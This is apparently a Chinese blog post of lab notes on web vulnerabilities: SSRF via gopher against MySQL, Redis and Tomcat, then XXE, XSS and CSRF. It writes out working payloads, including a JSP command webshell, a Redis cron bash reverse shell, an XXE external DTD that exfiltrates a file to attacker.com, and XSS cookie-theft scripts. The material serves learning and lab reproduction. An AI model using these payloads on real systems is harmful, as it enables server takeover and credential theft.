web通用漏洞

news2024/12/28 12:00:26

web通用漏洞

文章目录

  • web通用漏洞
    • 1. SSRF
      • 1. gopher伪协议
      • 2. 常见绕过
        • 1. ip地址绕过
        • 2. DNS重绑定攻击
      • 3. mysql未授权
      • 4. tomcat漏洞
      • 5. redis未授权写webshell
      • 6. redis 未授权写入ssh公钥
      • 7. redis 未授权计划任务shell反弹
    • 2. XXE
      • 测试
    • 3. XSS
    • 4. CSRF
    • 关于vmware的网络
    • 参考

1. SSRF

SSRF(Service side request forgery):服务器请求伪造

是一种由攻击者形成服务器端发起的安全漏洞,本质上是属于信息泄露漏洞。

在这里插入图片描述

file,dict,http协议懂的都懂。

1. gopher伪协议

gopher是分布式文档传递服务。感觉已经过时了,不太好复现。

基本格式:URL:gopher://host:port/gopher-path

web也需要加端口号80

gopher协议默认端口为70

注意:gopher请求不发送第一个字符

A端
curl gopher://127.0.0.1:7777/abcd
B端
nc -lvp 7777
结果b端只接受到bcd,所以一般会有一位填充位

windows11下curl --version 发现没有gopher,故去下一个最新版的curl.exe,并配置环境变量。

我用的php5.6.9,php.ini开启了下面设置

extension=php_openssl.dll
allow_url_fopen=On
allow_url_include=On

curl_exec()造成的SSRF,gopher协议需要使用二次URLEncode;

B端和C端都会进行一次urldecode,所以A端http请求要两次urlencode。

file_get_contents()造成的SSRF,gopher协议就不用进行二次URLEncode;

B.php

<?php
highlight_file(__FILE__);
// 创建一个Curl句柄
$curl = curl_init();
echo $_GET['url'];
//$_GET['url']="gopher://127.0.0.1:80/_GET%20/C.php%3Fname%3D666%0D%0AHost%3A+127.0.0.1";
//浏览器传参gopher://127.0.0.1:80/_GET%2520%2FC.php%253Fname%253D666%250D%250AHost%253A%2B127.0.0.1
echo urlencode($_GET['url']);
// 设置请求的URL
curl_setopt($curl, CURLOPT_URL, $_GET['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);   //启用时会将头文件的信息作为数据流输出。
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);   // 位掩码, 1 (301 永久重定向), 2 (302 Found) 和 4 (303 See Other) 设置 CURLOPT_FOLLOWLOCATION 时,什么情况下需要再次 HTTP POST 到重定向网址

// 设置请求超时时间(秒)
curl_setopt($curl, CURLOPT_TIMEOUT, 3);
 
// 设置连接超时时间(秒)
curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 3);

// 设置是否在遇到HTTP错误码时抛出异常
curl_setopt($curl, CURLOPT_FAILONERROR, true);
//不设超时时间python访问容易504报错,而看不到任何结果

// 执行请求
$response = curl_exec($curl);

// 检查是否有错误发生
if(curl_errno($curl)) {
    $error_message = curl_error($curl);
    // 在这里处理自定义协议错误
    echo "自定义协议错误:" . $error_message;
    echo $_GET['url'];
}

// 关闭Curl句柄
curl_close($curl);

C.php

<?php
highlight_file(__FILE__);
echo '</br>';
echo 'get name '.$_GET['name']."</br>";
echo 'post name '.$_POST['name'];

test.php

<?php
//highlight_file(__FILE__);
/**/
$w = stream_get_wrappers();
echo 'openssl: ',  extension_loaded  ('openssl') ? 'yes':'no', "\n";
echo 'http wrapper: ', in_array('http', $w) ? 'yes':'no', "\n";
echo 'https wrapper: ', in_array('https', $w) ? 'yes':'no', "\n";
echo 'wrappers: ', var_dump($w);

输出里面没有gopher,file_get_contents不支持gopher了😓

Warning: file_get_contents(): Unable to find the wrapper "gopher"

get请求构造

空格 %20 问号%3f 换行符 %0d%0A

import urllib.parse
import requests
from urllib.parse import urlencode

ip="127.0.0.1"
port=80#端口不要忘了
data="""GET /C.php?name=666
Host: 127.0.0.1
"""#最后有个换行符
#HTTP/1.1好像不用加

data=urllib.parse.quote(data)
data=data.replace("%0A","%0d%0A")

#print(payload)
print(data)
#GET%20/C.php%3Fname%3D666%0d%0AHost%3A%20127.0.0.1%0d%0A
data=urllib.parse.quote(data)#因为是curl_exec,需要二次加密
print(data)
#GET%2520/C.php%253Fname%253D666%250d%250AHost%253A%2520127.0.0.1%250d%250A
payload=f"gopher://{ip}:{port}/_"+data #解析时吃一个_
url="http://127.0.0.1:80/B.php?url="+payload

print(url)
r=requests.get(url=url)
print(r.text)

注意:最后有一个换行符

在这里插入图片描述

post请求构造

先验证一下能不能跑

curl gopher://127.0.0.1:80/_POST%20%2FC.php%20HTTP%2F1.1%0d%0ahost%3A127.0.0.1%0d%0aContent-Type%3Aapplication%2Fx-www-form-urlencoded%0d%0aContent-Length%3A8%0d%0a%0d%0aname%3D666

B.php

<?php
//highlight_file(__FILE__);
// 创建一个Curl句柄
$curl = curl_init();
$a1="POST /C.php
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 8

name=666";
#Content-Type如果是xml则需要用xml格式写,比如<name>666</name>

//浏览器传参gopher://127.0.0.1:80/_GET%2520%2FC.php%253Fname%253D666%250D%250AHost%253A%2B127.0.0.1
echo "posturl: ".$_POST['url'];
// 设置请求的URL
$_POST['url']="gopher://127.0.0.1:80/_POST%20%2FC.php%20HTTP%2F1.1%0d%0ahost%3A127.0.0.1%0d%0aContent-Type%3Aapplication%2Fx-www-form-urlencoded%0d%0aContent-Length%3A8%0d%0a%0d%0aname%3D666";
//
curl_setopt($curl, CURLOPT_URL, $_POST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);   //启用时会将头文件的信息作为数据流输出。
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);   // 位掩码, 1 (301 永久重定向), 2 (302 Found) 和 4 (303 See Other) 设置 CURLOPT_FOLLOWLOCATION 时,什么情况下需要再次 HTTP POST 到重定向网址
// 设置请求超时时间(秒)
curl_setopt($curl, CURLOPT_TIMEOUT, 3);
 
// 设置连接超时时间(秒)
curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 3);
//不设超时时间python访问直接504报错,看不到任何结果
// 设置是否在遇到HTTP错误码时抛出异常
curl_setopt($curl, CURLOPT_FAILONERROR, true);

// 执行请求
$response = curl_exec($curl);
//echo $response;
// 检查是否有错误发生
if(curl_errno($curl)) {
    $error_message = curl_error($curl);
    // 在这里处理自定义协议错误
    echo "</br>"."自定义协议错误:" . $error_message;
    echo $_GET['url'];
}

// 关闭Curl句柄
curl_close($curl);
import urllib.parse
import requests
from urllib.parse import urlencode

ip="127.0.0.1"
port=80
content="name=666"
length1=len(content)
data=f"""POST /C.php HTTP/1.1
host:127.0.0.1
Content-Type:application/x-www-form-urlencoded
Content-Length:{length1}

{content}"""

data=urllib.parse.quote(data)
data=data.replace("%0A","%0d%0A").replace("/","%2F")

data=urllib.parse.quote(data)
payload=f"gopher://{ip}:{port}/_"+data
print(payload)
url="http://127.0.0.1:80/B.php"

print(url)
r=requests.post(url=url,params=payload)
print(r.text)

在这里插入图片描述

2. 常见绕过

1. ip地址绕过

ip地址转数字,十进制,八进制,十六进制等

302重定向绕过ip限制

  • A类私有网段的范围是10.0.0.0到10.255.255.255。
  • B类私有网段的范围是172.16.0.0到172.31.255.255。
  • C类私有网段的范围是192.168.0.0到192.168.255.255。

可以使用环回适配器使虚拟机网络不属于abc网段,或者有公网ip。

一台vps上写1.php

<?php
header("Location: http://127.0.0.1/flag.php");

php -S 0.0.0.0:7777 开启Web服务

然后传一个http://公网ip:7777/1.php,使受害网站访问1.php时重定向到本地内网访问文件。

2. DNS重绑定攻击

在这里插入图片描述
在这里插入图片描述

利用网站:https://lock.cmpxchg8b.com/rebinder.html

提供TTL为0的dns解析

在这里插入图片描述

http://de290302.7f000001.rbndr.us/flag.php

3. mysql未授权

复现不成功,条件相当苛刻。

主机mysql和虚拟机都整个远程连接的用户

CREATE USER 'remote_user'@'%' IDENTIFIED WITH 'mysql_native_password' BY '123456'; #虚拟机低版本不用写identified with...
GRANT ALL PRIVILEGES ON *.* TO 'remote_user'@'%';

虚拟机要选桥接模式,NAT模式八成不行。

kali数据库配置文件/etc/mysql/my.cnf,主机my.ini也加一下

[mysqld]
port=3306
bind-address=0.0.0.0

kali虚拟机开启mysql服务,默认账号root,默认密码password

sudo systemctl enable mysql
sudo systemctl start mysql
mysql -uroot -ppassword
ALTER USER 'root'@'localhost' IDENTIFIED BY '123456';
quit;
  1. 虚拟机开启抓包
tcpdump -i lo port 3306 -w mysql.pcapng

捕获本地回环接口(lo)上所有目标端口或源端口为3306的数据包,并将这些数据包写入到名为 mysql.pcapng 的文件中。

  1. 写入指令
mysql -h127.0.0.1 -uremote_user -p123456 -e "show databases;"

mysql>5.6不进行密文认证--ssl-mode=DISABLED

  1. 本机wireshark打开mysql.pcapng

右键 追踪流->TCP流

红色表示发送,蓝色表示接收,我们需要发送给mysql服务器的,故整个对话改成127.0.0.1:51216->127.0.0.1:3306,show data as 选原始数据

在这里插入图片描述

  1. 将内容复制出来,去掉换行符
d700000184a2bf000000000121000000000000000000000000000000000000001d00000072656d6f74655f7573657200140cc93d48f1db8bf907d288c050ddcf7e48f2f3006d7973716c5f6e61746976655f70617373776f7264007f035f6f73054c696e75780c5f636c69656e745f6e616d650a6c69626d617269616462045f706964063130333531300f5f636c69656e745f76657273696f6e05332e322e38095f706c6174666f726d067838365f36340c70726f6772616d5f6e616d65056d7973716c0c5f7365727665725f686f7374093132372e302e302e310f0000000373686f77206461746162617365730100000001
  1. 将ascii码转换成url编码

test2.py

import requests
import time
import sys
import urllib.parse
import os
def results(s):
    a=[s[i:i+2] for i in range(0,len(s),2)]
    return "%".join(a)

if __name__=="__main__":
    s="d700000184a2bf000000000121000000000000000000000000000000000000001d00000072656d6f74655f7573657200140cc93d48f1db8bf907d288c050ddcf7e48f2f3006d7973716c5f6e61746976655f70617373776f7264007f035f6f73054c696e75780c5f636c69656e745f6e616d650a6c69626d617269616462045f706964063130333531300f5f636c69656e745f76657273696f6e05332e322e38095f706c6174666f726d067838365f36340c70726f6772616d5f6e616d65056d7973716c0c5f7365727665725f686f7374093132372e302e302e310f0000000373686f77206461746162617365730100000001"
    a=results(s)
    a=urllib.parse.quote(a)
    a="gopher://192.168.10.7:3306/_%" +a
    print(a)
    os.system("chcp 65001")
    os.system(a)
gopher://192.168.10.7:3306/_%d7%2500%2500%2501%2584%25a2%25bf%2500%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%251d%2500%2500%2500%2572%2565%256d%256f%2574%2565%255f%2575%2573%2565%2572%2500%2514%250c%25c9%253d%2548%25f1%25db%258b%25f9%2507%25d2%2588%25c0%2550%25dd%25cf%257e%2548%25f2%25f3%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%257f%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%250a%256c%2569%2562%256d%2561%2572%2569%2561%2564%2562%2504%255f%2570%2569%2564%2506%2531%2530%2533%2535%2531%2530%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2505%2533%252e%2532%252e%2538%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%250c%255f%2573%2565%2572%2576%2565%2572%255f%2568%256f%2573%2574%2509%2531%2532%2537%252e%2530%252e%2530%252e%2531%250f%2500%2500%2500%2503%2573%2568%256f%2577%2520%2564%2561%2574%2561%2562%2561%2573%2565%2573%2501%2500%2500%2500%2501

localhost/B.php?url=尝试一下,结果不成功,各位自行尝试

在这里插入图片描述

相关工具:gopherus.py 感觉没什么用

4. tomcat漏洞

cve-2017-12615

post发送如下参数,burpsuite拦截对_后的内容进行两次url加密

url=gopher://127.0.0.1:80/_PUT /1.jsp/HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 373

<%
String command = request.getParameter("cmd");
if(command != null){
    java.io.InputStream in=Runtime.getRuntime().exec(command).getlnputStream();
    int a = -1;
    byte[] b = new byte[2048];
    out.print("<pre>");
    while((a=in.read(b))!=-1){
    	out.println(new String(b));
    }
    out.print("</pre>");
}else{
    out.print("format: xxx.jsp?cmd=Command");
}
%>

5. redis未授权写webshell

看视频吧

dict://ip:6379/info查看是否有未授权的redis

抓docker接口流量,写入文件
tcpdump -i br-5af779a344a9 and port 6379 -w redis.pcapng

redis-cli -h 172.250.250.9

1.设置web路径
config set dir /var/www/html/
3.设置shell文件名
config set dbfilename phpinfo.php
3.向数据库插入payload
set payload "<?php phpinfo(); ?>"
4.保存webshell
save
5. 退出
quit

筛目的地为6379的TCP流,data as ascii,复制到记事本,把?替换成%3F,把\r\n替换成%0d%0a

构造gopher://172.250.250.9:6379/_,后面拼接上面记事本的内容

6. redis 未授权写入ssh公钥

看视频吧

如果对方主机开启了ssh,可尝试写入ssh公钥文件,进行ssh登录。

/.ssh目录下,kali生成私钥对

ssh-keygen -t rsa
authorized_keys
cat ida_rsa.pub

修改之前redis写webshell抓到的TCP流

路径改为/root/.ssh/,并修改上面的长度为$11
之前的phpinfo.php改为authorized_keys,并修改上面的长度为$15
paylooad下一个属性改为
$长度(多四个换行,+4而不是+8)(并且公钥取中间ssh-rsa开头,直到换行结尾的内容)


ssh-rsa AAAA...


*1
$4
save

然后替换\r\n%0d%0a,之后构造gopher://ip:6379/_拼接内容即可。

进行ssh登录,docker映射为2222端口

ssh -i id_rsa -p 2222 root@192.168.233.137

7. redis 未授权计划任务shell反弹

看视频吧

  1. 权限问题,Ubuntu定时任务需要root权限
  2. redis备份文件存在乱码,在ubuntu上会报错,而在Centos上不会报错

使用SSRF利用此漏洞,切记在写入计划任务前后加上\n来进行换行,否则数据污染会导致计划任务失败。

在这里插入图片描述

nc -lvp 1234
ifconfig
python 2 gopherus.py --exploit redis
ReverseShell
填ip

之后改gopher://ip:6379的ip,然后提交

payload大概长这样

0 标准输入

1 标准输出

2 标准错误输出

redis-cli -h 10.91.214.205
#设置键值对,`* * * * *`表示每分钟执行一次
# >&,全称为2>&1,将bash shell的标准输出和标准错误都重定向到一个TCP连接,用于发送靶机输出
# 0>&1 将标准输入重定向到之前已经重定向的标准输出(即远程socket),从远程socket读取输入
# 0>&1 的操作类似于将文件描述符fd1的内容复制到fd0
set x "\n* * * * * bash -i >& /dev/tcp/vps ip/55555 0>&1\n"

#将Redis 的工作目录更改为 /var/spool/cron/,这通常是 cron 作业的存储位置。
config set dir /var/spool/cron/
#将Redis的数据库文件名更改为root,这意味着Redis将在/var/spool/cron/下创建一个名为root的文件
config set dbfilename root
save

cat /var/spool/cron/root

redis还有个主从复制,具体看参考文章。

2. XXE

https://www.w3school.com.cn/dtd/dtd_intro.asp

XML:eXtensible Markup Language ,可扩展标记语言

DTD:文档类型定义,用于定义XML文档结构,<!DOCTYPE 根元素 [元素声明]>

XXE:Xml eXternal Entity injection,XML外部实体注入

XML组件默认没有禁用外部实体引用会导致这个漏洞。

DTD

元素声明
<!ELEMENT 元素名称 类别>
<!ELEMENT 元素名称 (元素内容)>
<!ELEMENT 元素名称 EMPTY>
<!ELEMENT 元素名称 ANY>  包含任何内容的元素
<!ELEMENT 元素名称 (#PCDATA)>
<!ELEMENT 元素名称 (子元素名称 1,子元素名称 2,.....)>

	例如:
	<!ELEMENT br EMPTY>
	<br />

属性声明
<!ATTLIST 元素名称 属性名称 属性类型 默认值>
<!ATTLIST payment type CDATA "check">
<payment type="check" />

内部实体声明
<!ENTITY 实体名称 "实体的值">
<!ENTITY writer "Bill Gates">
<author>&writer;</author>

外部实体声明
<!ENTITY 实体名称 SYSTEM "URI/URL">
<!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
<author>&writer;</author>

参数实体,可以被DTD文件自身引用
<!ENTITY % 实体名称 "实体内容" >
%实体名称;

测试

B.php,php版本控制为5.3.29

<head>
    <meta charset=utf-8>
    <title>xxe测试</title>
</head>
<body>
    <form action='/B.php' method='post'>
        <p>xml数据:</p></br>
    <textarea type="text" name="data"></textarea></br>
	<input type="submit" value="提交" name="sub">
    </form>
</body>

<?php
    highlight_file(__FILE__);
	date_default_timezone_set("PRC");
    if(!empty($_POST['sub'])){
        $data=$_POST['data'];
        $xml=simplexml_load_string($data);
        print($xml);
    }

1.txt

你好,makabaka

构造一个DTD外部实体的声明,然后在xml元素里引用。

<?xml version='1.0' encoding='UTF-8'?>
<!DOCTYPE note [
    <!ENTITY xxe SYSTEM "file:///C:/phpstudypro/WWW/1.txt">
]>
<login>&xxe;</login>

复制上去,提交一下

在这里插入图片描述

文件读取
file:///C:/phpstudypro/WWW/1.txt

端口扫描,没开就报错
http://127.0.0.1:3307

命令执行,要安装expect库
expect://ipconfig

xxe炸弹,尝试读取大量随机数据
file:///dev/random

dnslog子域名外带
<?xml version='1.0' encoding='UTF-8'?>
<!DOCTYPE root[
    <!ENTITY % remote SYSTEM "http://dasd.wzv90i.dnslog.cn">
    %remote;
]>


访问自己服务器的恶意dtd文件
xml写
<?xml version='1.0' encoding='UTF-8'?>
<!DOCTYPE ANY[
    <!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd">
    %remote;
]>
<root>&send;</root>

evil.dtd里写
<!ENTITY % file SYSTEM 
"php://filter/read=convert.base64-encode/resource=file:///c:/system.ini">
<!ENTITY % int "<!ENTITY &#37;send SYSTEM 'http://192.168.142.135:8080?p=%file;'>">

3. XSS

Cross-Site Scripting,跨站脚本攻击

攻击者在目标网站上注入恶意代码,当用户(被攻击者)登录网站时就会执行这些恶意代码,通过这些脚本可以读取cookie,session tokens,或者网站其他敏感的网站信息,对用户进行钓鱼欺诈。

同源策略:域名、协议、端口相同。

DOM(Document Object Model,文档对象模型)使得程序和脚本可以动态访问和更新文档的内容、结构和样式。

XSS攻击可以分为3类:存储型(持久型)、反射型(非持久型)、基于DOM。

反射型(非持久型):用户输入的数据直接或未经过完善的安全过滤就在浏览器中进行输出。

<meta charset="UTF-8">
<?php

    $xss = "";
    @$xss = $_GET['xss_input'];
    echo '你输入的字符为<br>'.$xss;
//<script>alert('xss')</script>
//<script>alert(/xss/)</script>
//<script>alert(document.cookie)</script>
//<script>document.location="http://www.xxx.com/cookie.asp?cookie="+document.cookie</script>
?>

存储型(持久型):将黑客输入的恶意跨站攻击数据信息保存在服务端的数据库或其他文件形式中。

常见于留言板,博客等可以发布文章和显示文章的网站。

基于DOM:通过操作 DOM 实现攻击。

可能触发dom的xss属性

document.referer

document.write

location

innerHTML

<script>document.body.innerHTML=(
'<p>hello world</p>');</script>

覆盖原本的body元素。

在这里插入图片描述

常见绕过:

双写,大小写

img标签<img src=1 onerror=alert(/xss/)>

<script>img = new Image();
img.src = "http://www.xxx.com/cookie.asp?cookie="+document.cookie;
img.width = 0;img.height = 0</script>

井号

?default=English #<script>alert(/sss/)</script>

由于#后的代码在客户端被注释,因此注入语句不会被传入服务器端,从而达到注入效果。

常见防御

HttpOnly:防网页cookie被客户端js存取

直接用htmlspecialchars函数对用户输入进行编码成html实体。

4. CSRF

Cross—Site Request Forgery,跨站点请求伪造

攻击者利用网站对用户网页浏览器的信任,挟制用户在当前已登录的Web应用程序上执行非本意的操作。

其实加个手机验证码就没这个漏洞。

在这里插入图片描述

​ 比如受害者登录后,访问带有<img src=http://www.evil.com/transfer.php?toBankId=9999&money=100>的网站。

​ 比如受害者点击了短链接(隐藏了真实网站)。

与XSS的区别:

在这里插入图片描述

关于vmware的网络

虚拟机<->虚拟机虚拟机->宿主宿主->虚拟机虚拟机->互联网互联网->虚拟机
网络地址转换NATXXX
NAT网络XX
桥接网卡
内部网络XXXX
仅主机网络√(官方说可以)XX
  • vmware16的nat模式虚拟机大概率ping不通主机,并且难以解决,建议使用桥接模式。

在这里插入图片描述

参考

  1. 0x002 SSRF漏洞原理

  2. SSRF Lazzaro

  3. redis未授权getshell的4种方式 one-seven

  4. 虚拟机网络模式

  5. anaconda控制python版本 痕亿丶

  6. XSS 与 CSRF 攻击——有什么区别,如何加以防护 德迅云安全-文琪

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1983890.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【工具】图片背景移除界面 UI 源码

移除图片背景的UI 照片背景移除和填充颜色的用户界面 仓库地址&#xff1a;https://github.com/MengWoods/remove-background-ui/tree/main 介绍 该项目提供了一个基于 removebg 库的用户界面&#xff0c;用于从输入的照片中移除背景&#xff0c;并用不同的颜色填充背景。 …

设计模式18-中介者模式

设计模式18-中介者模式&#xff08;Mediator&#xff09; 动机定义结构类图解释&#xff1a;交互方式&#xff1a;左边流程图右边流程图联系中介者模式 C代码推导优缺点应用总结 动机 在软件构建过程中&#xff0c;经常会出现多个对象互相关联交互的情况。他们之间常常会维持一…

认真学习JVM几种类加载器

【1】类加载器的分类 JVM支持两种类型的类加载器 。分别为引导类加载器&#xff08;Bootstrap ClassLoader&#xff09;和自定义类加载器&#xff08;User-Defined ClassLoader&#xff09;&#xff08;JVM规范这样定义的&#xff09;。 从概念上来讲&#xff0c;自定义类加载…

轻闪PDF v2.14.9 解锁版下载及安装教程 (一款全能PDF转换器,支持自动补全标签)

前言 轻闪PDF(原傲软PDF编辑软件)是一款操作简单的全能PDF转换器,轻松实现PDF转换为Word,Excel或其他格式,以及PDF压缩,合并和图片文字识别OCR等功能.这款pdf编辑转换软件几乎支持所有常见文档格式,一键完成PDF与其他文档互相转换,并含有PDF合并,压缩,图片文字识别OCR等增值功…

[qt] 多线程应用01

源码: 点击此处 一 多线程应用 实现一个多线程的网络时间服务器&#xff0c;利用多线程功能的技术&#xff0c;为每个客户端返回当前的时间&#xff0c;并且在返回后自动退出。同时&#xff0c;服务器也会记录当前受到的请求次数。其实这相当于一个ntp时间服务器 二 服务器实…

C语言 | Leetcode C语言题解之第326题3的幂

题目&#xff1a; 题解&#xff1a; bool isPowerOfThree(int n){int count0;while(n){countn%3;n/3;}return count1?true:false;}

个人对TCP流量控制与拥塞控制的理解

TCP 协议和 UDP 协议 TCP 作为最常用的两大传输层协议之一&#xff0c;无疑是久经生产环境检验的。传输层有两个我们广泛使用的协议&#xff1a;UDP 协议、TCP 协议&#xff0c;我们一般会说前者是面向无连接的&#xff0c;后者是面向连接的。 这里的 “连接” 具体是什么意思…

Prometheus-v2.45.0 + 钉钉告警

目录 1. 创建一个钉钉内部群 2. 添加自定义机器人 3. 配置钉钉发送告警服务 4. 配置alertmanager&#xff0c;接入dingding 5. 配置告警消息发送模板 6. 修改配置规则文件 续接上篇&#xff1a;https://blog.csdn.net/Lzcsfg/article/details/140851688 相关软件包链接…

sqli-labs环境搭建以及部分sql注入

sqli-labs靶场搭建&#xff1a; 安装phpstudy并创建网页 初始化靶场 实现sql注入&#xff1a; less-1&#xff08;根据数据库的命令在超链接后输入?id1&#xff09; less-2&#xff08;如法炮制?id2&#xff09; less-3&#xff08;闭合单引号和括号&#xff09; less-9&am…

新增AI Copilot,DataEase开源数据可视化分析工具v2.9.0发布

2024年8月5日&#xff0c;人人可用的开源数据可视化分析工具DataEase正式发布v2.9.0版本。 这一版本的功能变动包括&#xff1a;导航栏新增Copilot入口&#xff0c;借助AI技术&#xff0c;通过自然语言交互实现即问即答&#xff0c;让数据分析更加直观和便捷&#xff1b;图表方…

vxe-pulldown下拉容器的使用,覆盖样式z-index来解决在Modal中初次显示在Modal的下层的问题。

1、官网的例子&#xff1a; 可以说这个vxe-pulldown用起来还是挺方便的。 2、代码&#xff1a; <template><div><vxe-pulldown ref"pulldownRef" popup-class-name"my-dropdown4" transfer><template #header><div class&quo…

FFMPEG 序列帧图片合成视频

需求&#xff1a; 将多张.png图片合成为视频 注意: 1需要Windows电脑 2将图片重命名 下载EXE 官网 https://ffmpeg.org/download.html#build-windows 解压后长这样 将图片和exe放在同一目录下 文件中找个空白地&#xff0c;Shift右键 进入PowerShell 输入命令: ./ffm…

Chapter 27 封装

欢迎大家订阅【Python从入门到精通】专栏&#xff0c;一起探索Python的无限可能&#xff01; 文章目录 前言一、基本概念二、私有成员 前言 在面向对象编程&#xff08;OOP&#xff09;中&#xff0c;封装是一个重要的概念&#xff0c;旨在保护数据并限制对对象内部状态的直接…

48天笔试训练错题——day41

目录 选择题 1. 2. 3. 4. 5. 6. 7. 8. 9. 10. 编程题 1. 五子棋 2. Emacs计算器 选择题 1. 当发生拥塞时&#xff0c;TCP 有个机制&#xff0c;会从慢开始进行发送。 1. 把慢开始的门限值设为当前窗口的一半&#xff0c;即 ssthresh 1/2 * 8 4 KB 2. 把拥塞窗…

【TS】declare 全局声明方式

declare关键字 declare是描述TS文件之外信息的一种机制&#xff0c;它的作用是告诉TS某个类型或变量已经存在&#xff0c;我们可以使用它声明全局变量、函数、类、接口、类型别名、类的属性或方法以及后面会介绍的模块与命名空间。 declare关键字用来告诉编译器&#xff0c;某…

【C语言】关于字符串函数的使用及模拟实现(2)

一、字符串的复制 1.1 库函数strcpy的使用 在函数strcpy中&#xff0c;函数的返回类型为char* &#xff0c;参数部分首先是指向目标地址的指针&#xff0c;其次是指向源地址的指针(由于源地址中内容不受影响&#xff0c;则可以使用const修饰)&#xff0c;函数所需的头文件为st…

51单片机—串口

一、 串口基本认知 串行接口简称串口&#xff0c;也称串行通信接口或串行通讯接口&#xff08;通常指COM接口&#xff09;&#xff0c;是采用串行通信方 式的扩展接口。串行接口&#xff08;Serial Interface&#xff09;是指数据一位一位地顺序传送。其特点是通信线路简 单&a…

#70结构体案例1(导师,学生,成绩)

效果&#xff1a; 代码&#xff1a; #include <iostream> #include <string> using namespace std;#include "random"int get_random_num(int min,int max) {random_device rd;mt19937 gen(rd());uniform_int_distribution<> dis(min,max);int ra…

C语言实现常见O(N^2)的排序算法

目录 1.排序的概念及常见排序算法 1.1排序的概念 1.2常见的排序算法 2.常见O(N^2)排序算法的实现 2.1插入排序 2.1.1基本思想 2.1.2直接插入排序 2.1.2.1直接插入排序的特性 2.1.2.2直接插入排序算法实现 2.2选择排序 2.2.1基本思想 2.2.2直接选择排…

【电脑基础硬件】磁盘阵列

磁盘阵列 一、磁盘阵列概述作用&#xff1a;RAID级别&#xff1a; 二、Raid0Raid1 一、磁盘阵列概述 磁盘阵列&#xff08;Disk Array&#xff09;是一种将多个独立的磁盘驱动器组合起来形成一个逻辑单元的技术&#xff0c;目的是为了提高存储系统的性能、可靠性和可用性。磁盘…